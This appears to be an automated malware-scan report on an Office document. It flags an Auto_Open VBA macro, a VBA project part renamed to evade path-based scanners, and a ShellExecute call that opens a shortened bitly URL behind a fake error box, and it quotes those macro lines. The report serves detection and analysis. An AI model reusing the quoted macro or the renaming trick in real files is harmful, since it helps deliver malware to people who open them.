The OOXML document contains a VBA macro that is automatically executed upon opening, as indicated by the Auto_Open subroutine. This macro utilizes CreateObject to launch a shell command, executing the embedded URL. This suggests the document is designed to lure the user into clicking a link that likely leads to a malicious download or redirect.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/kaoskdaoskdoaksda.b)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim objShell
    Set objShell = CreateObject("Shell.Application")
    Call objShell.ShellExecute(k1.k2.Tag, "https://www.bitly.com/wdowdpowdrufhjwijjd", "", "open", 1)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module11"
Sub Auto_Open()
MsgBox "Error!!"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
